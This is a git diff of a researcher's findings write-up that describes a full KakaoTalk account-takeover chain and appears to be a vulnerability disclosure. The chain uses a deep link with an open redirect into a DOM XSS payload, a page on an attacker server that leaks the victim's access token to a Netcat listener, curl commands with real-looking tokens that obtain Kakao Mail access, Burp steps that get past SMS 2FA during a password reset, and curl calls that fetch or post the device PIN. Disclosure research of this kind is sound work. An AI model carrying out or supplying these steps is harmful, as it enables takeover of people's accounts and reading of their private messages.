diff --git a/FINDINGS.md b/FINDINGS.md index c8a48cc..d9b521c 100644 --- a/FINDINGS.md +++ b/FINDINGS.md @@ -67,15 +67,17 @@ If you take a look at the code you'll recognize that we control the path, query Maybe there's an Open Redirect or XSS issue on `https://buy.kakao.com` so that we can run Javascript? 🤔 -## URL Redirect to XSS +## URL Redirect to DOM XSS -While digging into `https://buy.kakao.com` we identified the endpoint `https://buy.kakao.com/auth/0/cleanFrontRedirect?returnUrl=` which allowed to redirect to any `kakao.com` domain. This vastly increased our chances to find a XSS flaw as there are many many subdomains under `kakao.com`. +While digging into https://buy.kakao.com we identified the endpoint https://buy.kakao.com/auth/0/cleanFrontRedirect?returnUrl= which allowed to redirect to any `kakao.com` domain. This vastly increased our chances to find a XSS flaw as there are many many subdomains under `kakao.com`. -To find a vulnerable website we just googled for `site:*.kakao.com inurl:search -site:developers.kakao.com -site:devtalk.kakao.com` and found `https://m.shoppinghow.kakao.com/m/search/q/yyqw6t29`. The string `yyqw6t29` looked like a [DOM Invader canary](https://portswigger.net/burp/documentation/desktop/tools/dom-invader/settings/canary) to us, so we investigated further. Funny enough, there was already a Stored XSS as `https://m.shoppinghow.kakao.com/m/search/q/alert(1)` popped up an alert box. Searching the DOM brought up the responsible Stored XSS payload `[해외]test ">`. +Funny enough, there was already a Stored XSS as https://m.shoppinghow.kakao.com/m/search/q/alert(1) popped up an alert box. Searching the DOM brought up the responsible Stored XSS payload `[해외]test ">`. +Continuing to browse the DOM we discovered another [endpoint](https://m.shoppinghow.kakao.com/m/product/Y25001977964/q:foo) where the search query was passed to a `innerHTML` sink (see [DOM Invader notes](#dom-xss)). Eventually, the PoC XSS payload turned out to be as simple as `">`. + +At this point we could run arbitrary Javascript in the `CommerceBuyActivity` WebView when the user clicked on a deep link such as `kakaotalk://auth/0/cleanFrontRedirect?returnUrl=https://m.shoppinghow.kakao.com/m/product/Y25001977964/q:">`. Since the `CommerceBuyActivity` supports the `intent://` scheme we could now start arbitrary non-exported app components 🥳 @@ -153,7 +155,7 @@ First, we needed to check whether the victim actually uses Kakao Mail: ```bash curl -i -s -k -X $'GET' \ - -H $'Host: katalk.kakao.com' -H $'Accept-Language: en' -H $'User-Agent: KT/10.4.3 An/11 en' -H $'Authorization: 601d3b6236df486f9908196d375ae9e800000017007543214660010AJixY80Cv2-738b6ba0d2e81934d67f298b1c77f2e5d71dcd1ff77b85563f0cd921b1a98f1e' -H $'A: android/9.5.0/en' -H $'C: a327a1ad-b417-499a-abf7-48da89076e7c' -H $'Accept-Encoding: json, deflate, br' -H $'Connection: close' \ + -H $'Host: katalk.kakao.com' -H $'Accept-Language: en' -H $'User-Agent: KT/10.4.3 An/11 en' -H $'Authorization: 6527064d05514319b4d9bd50dfc52dfa000000170176577718100112EIKD4_dzw-060c2745c83d8e5b3763c6bf3a10f73987d6ce9e00328ef5631b31d2e7997ec7' -H $'A: android/9.5.0/en' -H $'C: a327a1ad-b417-499a-abf7-48da89076e7c' -H $'Accept-Encoding: json, deflate, br' -H $'Connection: close' \ $'https://katalk.kakao.com/android/account/more_settings.json?os_version=30&model=SDK_GPHONE_ARM64&since=1693786891&lang=en&vc=2610380&email=2&adid=&adid_status=-1' ``` @@ -161,8 +163,8 @@ Next, we had to grab another access token to access Kakao Mail: ```bash curl -i -s -k -X $'POST' \ - -H $'Host: api-account.kakao.com' -H $'Accept-Language: en' -H $'User-Agent: KT/10.4.3 An/11 en' -H $'Authorization: 601d3b6236df486f9908196d375ae9e800000017007543214660010AJixY80Cv2-738b6ba0d2e81934d67f298b1c77f2e5d71dcd1ff77b85563f0cd921b1a98f1e' -H $'A: android/10.4.3/en' -H $'C: 2cc348d0-b7f7-464c-b72b-1e3f66a04362' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 174' -H $'Accept-Encoding: json, deflate, br' -H $'Connection: close' \ - --data-binary $'key_type=talk_session_info&key=601d3b6236df486f9908196d375ae9e800000017007543214660010AJixY80Cv2-738b6ba0d2e81934d67f298b1c77f2e5d71dcd1ff77b85563f0cd921b1a98f1e&referer=talk' \ + -H $'Host: api-account.kakao.com' -H $'Accept-Language: en' -H $'User-Agent: KT/10.4.3 An/11 en' -H $'Authorization: 6527064d05514319b4d9bd50dfc52dfa000000170176577718100112EIKD4_dzw-060c2745c83d8e5b3763c6bf3a10f73987d6ce9e00328ef5631b31d2e7997ec7' -H $'A: android/10.4.3/en' -H $'C: 2cc348d0-b7f7-464c-b72b-1e3f66a04362' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 174' -H $'Accept-Encoding: json, deflate, br' -H $'Connection: close' \ + --data-binary $'key_type=talk_session_info&key=6527064d05514319b4d9bd50dfc52dfa000000170176577718100112EIKD4_dzw-060c2745c83d8e5b3763c6bf3a10f73987d6ce9e00328ef5631b31d2e7997ec7&referer=talk' \ $'https://api-account.kakao.com/v1/auth/tgt' ``` @@ -174,7 +176,7 @@ This was an example response: With the newly gathered token we could access a victim's Kakao Mail account with Burp. Here's a way for you to reproduce it: -1. Launch Burp's browser: go to the `Proxy > Intercept` tab, click `Open browser` and visit `https://mail.kakao.com` +1. Launch Burp's browser: go to the `Proxy > Intercept` tab, click `Open browser` and clear the browser's cache. 2. Go to the `Repeater` tab and create a new `HTTP` request (click on the `+` button). 3. Paste in the following (adapt the `Ka-Tgt` header accordingly): ``` @@ -229,13 +231,13 @@ Since we could now access the victim's Kakao Mail account a password reset was t ```bash curl -i -s -k -X $'GET' \ - -H $'Host: katalk.kakao.com' -H $'Accept-Language: en' -H $'User-Agent: KT/10.4.3 An/11 en' -H $'Authorization: 601d3b6236df486f9908196d375ae9e800000017007543214660010AJixY80Cv2-738b6ba0d2e81934d67f298b1c77f2e5d71dcd1ff77b85563f0cd921b1a98f1e' -H $'A: android/9.5.0/en' -H $'C: a327a1ad-b417-499a-abf7-48da89076e7c' -H $'Accept-Encoding: json, deflate, br' -H $'Connection: close' \ + -H $'Host: katalk.kakao.com' -H $'Accept-Language: en' -H $'User-Agent: KT/10.4.3 An/11 en' -H $'Authorization: 6527064d05514319b4d9bd50dfc52dfa000000170176577718100112EIKD4_dzw-060c2745c83d8e5b3763c6bf3a10f73987d6ce9e00328ef5631b31d2e7997ec7' -H $'A: android/9.5.0/en' -H $'C: a327a1ad-b417-499a-abf7-48da89076e7c' -H $'Accept-Encoding: json, deflate, br' -H $'Connection: close' \ $'https://katalk.kakao.com/android/account/more_settings.json?os_version=30&model=SDK_GPHONE_ARM64&since=1693786891&lang=en&vc=2610380&email=2&adid=&adid_status=-1' ``` Changing the password via `https://accounts.kakao.com` turned out to be a bit complicated as we had to bypass 2FA via SMS. However, it was as simple as intercepting and modifying a couple of requests with Burp. This is how you can do it: -1. Using the Burp browser go to `https://accounts.kakao.com` and click on `Reset Password`. +1. Using the Burp browser visit the [Reset Password](https://accounts.kakao.com/weblogin/find_password?lang=en&continue=%2Flogin%3Fcontinue%3Dhttps%253A%252F%252Faccounts.kakao.com%252Fweblogin%252Faccount%252Finfo) link. 2. Add the victim's email address on the next page (`Reset password for your Kakao Account`). Before clicking on `Next`, enable the `Intercept` feature in Burp. 3. In Burp, forward all requests until you see a POST request to `/kakao_accounts/check_verify_type_for_find_password.json`. Right-click and select `Do intercept > Response to this request`. 4. In the response change `verify_types` to `0` (this sends the verification code to the victim's email address and not to her/his phone): @@ -258,14 +260,14 @@ Changing the password via `https://accounts.kakao.com` turned out to be a bit co ``` 5. Disable `Intercept` in Burp and go back to Burp's browser. Click on `Using email address`. 6. Enter the victim's nickname and email address on the next page and click the `Verify` button. -7. Open a new browser tab and paste the Burp Repeater URL to access the user's Kakao Mail account (as described in the [previous](#deep-link-to-kakao-mail-account-takeover) section). +7. Open a new browser tab and paste the Burp Repeater URL to access the user's Kakao Mail account (as described in the [previous](#deep-link-to-kakao-mail-account-takeover) section). If there's a message "session expired" just clear the browser's cache. 8. Grab the verification code from the email and enter it to proceed to the next page. 9. On the page `Additional user verification will proceed to protect your Kakao Account.`, enable `Intercept` in Burp again, enter some values and click `Confirm`. Back in Burp when you see a POST request to `/kakao_accounts/check_phone_number.json`, adjust the `iso_code` and `phone_number` (without country code) parameters in the request body. Forward the request and disable the `Intercept` option again. 10. Finally, you can enter the new password. ## PoC -The goal of the PoC is to register [KakaoTalk for Windows or MacOS](https://www.kakaocorp.com/page/service/service/KakaoTalk?lang=en) (or the open-source client [KiwiTalk](https://github.com/KiwiTalk/KiwiTalk)) to a victim's account to read her/his **non-end-to-end** encrypted chat messages. +The goal of the PoC is to register [KakaoTalk for Windows/MacOS](https://www.kakaocorp.com/page/service/service/KakaoTalk?lang=en) or the open-source client [KiwiTalk](https://github.com/KiwiTalk/KiwiTalk) to a victim's account to read her/his **non-end-to-end** encrypted chat messages. The steps for an attacker are as follows: @@ -282,14 +284,14 @@ location.href = decodeURIComponent("kakaotalk%3A%2F%2Fbuy%2Fauth%2F0%2FcleanFron ... starts the HTTP server and ... ```bash -$ python3 -m http.server 8080 +$ python3 -m http.server 8888 ``` ... opens a Netcat listener in another terminal window: `$ nc -lp 5555`. Easy ;-) ### Victim clicks the link and leaks an access token to the attacker -Next, the attacker sends a URL (e.g., `http://192.168.178.20:5555/foo.html`) and waits until the victim clicks it. The access token should be then leaked in the Netcat listener: +Next, the attacker sends a URL (e.g., `http://192.168.178.20:8888/foo.html`) and waits until the victim clicks it. The access token should be then leaked in the Netcat listener: ```bash GET /foo.html HTTP/1.1 @@ -298,7 +300,7 @@ Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Linux; Android 10; M2004J19C Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/119.0.6045.66 Mobile Safari/537.36;KAKAOTALK 2610420;KAKAOTALK 10.4.2 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 -authorization: 601d3b6236df486f9908196d375ae9e800000017007543214660010AJixY80Cv2-738b6ba0d2e81934d67f298b1c77f2e5d71dcd1ff77b85563f0cd921b1a98f1e +authorization: 6527064d05514319b4d9bd50dfc52dfa000000170176577718100112EIKD4_dzw-060c2745c83d8e5b3763c6bf3a10f73987d6ce9e00328ef5631b31d2e7997ec7 os_name: Android kakao-buy-version: 1.0 os_version: 10.4.2 @@ -309,17 +311,34 @@ Accept-Language: en-US,en;q=0.9 ### Attacker uses the access token to reset the victim's password -Assuming the victim has a Kakao Mail account, the attacker can now reset her/his KakaoTalk password (see instructions [above](#kakaotalk-password-reset-with-burp)). +Next, the attacker can now reset her/his KakaoTalk password (see instructions [above](#kakaotalk-password-reset-with-burp)). ### Attacker registers her/his device the victim's KakaoTalk account -When logging into KakaoTalk for Windows/MacOS or KiwiTalk with the victim's credentials a second authentication factor is required. It's a simple 4-digit pin which is sent to the victim's KakaoTalk mobile app. Unfortunately, the pin can't be brute-forced as there's some rate limiting going on at the endpoint `https://katalk.kakao.com/win32/account/register_device.json` (after 5 attempts the `device_uuid` is blocked). +When logging into KakaoTalk for Windows/MacOS or KiwiTalk with the victim's credentials a second authentication factor is required. It's a simple 4-digit pin which is either displayed in the PC version and needs to be entered in the KakaoTalk mobile app or the other way around (i.e., pin is sent to mobile app and needs to be entered in PC app). -Luckily, we can still use the gathered access token to grab the pin number from the KakaoTalk backend: +Unfortunately, the pin can't be brute-forced as there's some rate limiting going on at the endpoints https://talk-pilsner.kakao.com/talk-public/account/passcodeLogin/authorize and https://katalk.kakao.com/win32/account/register_device.json (blocked after 5 attempts). + +Luckily, we can still use the gathered access token to post/get the pin number to/from the KakaoTalk backend: + +```bash +curl -i -s -k -X $'POST' \ + -H $'Host: talk-pilsner.kakao.com' -H $'Authorization: 64f03846070b4a9ea8d8798ce14220ce00000017017793161400011gzCIqV_7kN-deea3b5dc9cddb9d8345d95438207fc0981c2de80188082d9f6a8849db8ea92e' -H $'Talk-Agent: android/10.4.3' -H $'Talk-Language: en' -H $'Content-Type: application/json; charset=UTF-8' -H $'Content-Length: 19' -H $'Accept-Encoding: gzip, deflate, br' -H $'User-Agent: okhttp/4.10.0' \ + --data-binary $'{\"passcode\":\"8825\"}' \ + $'https://talk-pilsner.kakao.com/talk-public/account/passcodeLogin/authorize' +``` + +Example response: + +```json +{"device":{"name":"foo"},"status":0} +``` + +In case the pin is sent to the KakaoTalk mobile app use this curl query: ```bash curl -i -s -k -X $'GET' \ - -H $'Host: katalk.kakao.com' -H $'Accept-Language: en' -H $'User-Agent: KT/10.4.3 An/11 en' -H $'Authorization: 601d3b6236df486f9908196d375ae9e800000017007543214660010AJixY80Cv2-738b6ba0d2e81934d67f298b1c77f2e5d71dcd1ff77b85563f0cd921b1a98f1e' -H $'A: android/10.4.3/en' -H $'C: 48d380e2-4513-44a7-b0df-4408c8091502' -H $'Accept-Encoding: json, deflate, br' -H $'Connection: close' \ + -H $'Host: katalk.kakao.com' -H $'Accept-Language: en' -H $'User-Agent: KT/10.4.3 An/11 en' -H $'Authorization: 64f03846070b4a9ea8d8798ce14220ce00000017017793161400011gzCIqV_7kN-deea3b5dc9cddb9d8345d95438207fc0981c2de80188082d9f6a8849db8ea92e' -H $'A: android/10.4.3/en' -H $'Accept-Encoding: json, deflate, br' -H $'Connection: close' \ $'https://katalk.kakao.com/android/sub_device/settings/info.json' ``` @@ -333,7 +352,62 @@ And we're in! Profit 🥳🥳🥳 ## Appendix -In this section I mainly keep my notes. +### DOM XSS + +DOM Invader stack trace: + +``` +at Object.imXJS (:2:137055) +at _0x142f96 (:2:491806) +at Object.efaRq (:2:360078) +at HTMLElement.set [as innerHTML] (:2:361502) +at k.fn.init. (https://t1.daumcdn.net/shophow_cssjs/kakao/vendor.merged.51ebe10e92260e3b75f5.js:1:219514) +at Z (https://t1.daumcdn.net/shophow_cssjs/kakao/vendor.merged.51ebe10e92260e3b75f5.js:1:200312) +at k.fn.init.html (https://t1.daumcdn.net/shophow_cssjs/kakao/vendor.merged.51ebe10e92260e3b75f5.js:1:219226) +at r.render (https://t1.daumcdn.net/shophow_cssjs/kakao/mo.merged.51ebe10e92260e3b75f5.js:1:371008) +at r. (https://t1.daumcdn.net/shophow_cssjs/kakao/vendor.merged.51ebe10e92260e3b75f5.js:1:166640) +at Qt (https://t1.daumcdn.net/shophow_cssjs/kakao/vendor.merged.51ebe10e92260e3b75f5.js:1:20538) +at r [as render] (https://t1.daumcdn.net/shophow_cssjs/kakao/vendor.merged.51ebe10e92260e3b75f5.js:1:20795) +at r.initialize (https://t1.daumcdn.net/shophow_cssjs/kakao/mo.merged.51ebe10e92260e3b75f5.js:1:370928) +at e.View (https://t1.daumcdn.net/shophow_cssjs/kakao/vendor.merged.51ebe10e92260e3b75f5.js:1:277705) +at r.constructor (https://t1.daumcdn.net/shophow_cssjs/kakao/vendor.merged.51ebe10e92260e3b75f5.js:1:166743) +at new r (https://t1.daumcdn.net/shophow_cssjs/kakao/vendor.merged.51ebe10e92260e3b75f5.js:1:287181) +at HTMLDocument. (https://t1.daumcdn.net/shophow_cssjs/kakao/mo.merged.51ebe10e92260e3b75f5.js:1:374535) +at c (https://t1.daumcdn.net/shophow_cssjs/kakao/vendor.merged.51ebe10e92260e3b75f5.js:1:197867) +at l (https://t1.daumcdn.net/shophow_cssjs/kakao/vendor.merged.51ebe10e92260e3b75f5.js:1:198169) +``` + +`innerHTML` value: + +```html +
+ +
+``` + +Represented in the DOM as: + +```html +
+ +
+``` ### Brute-forcing with ffuf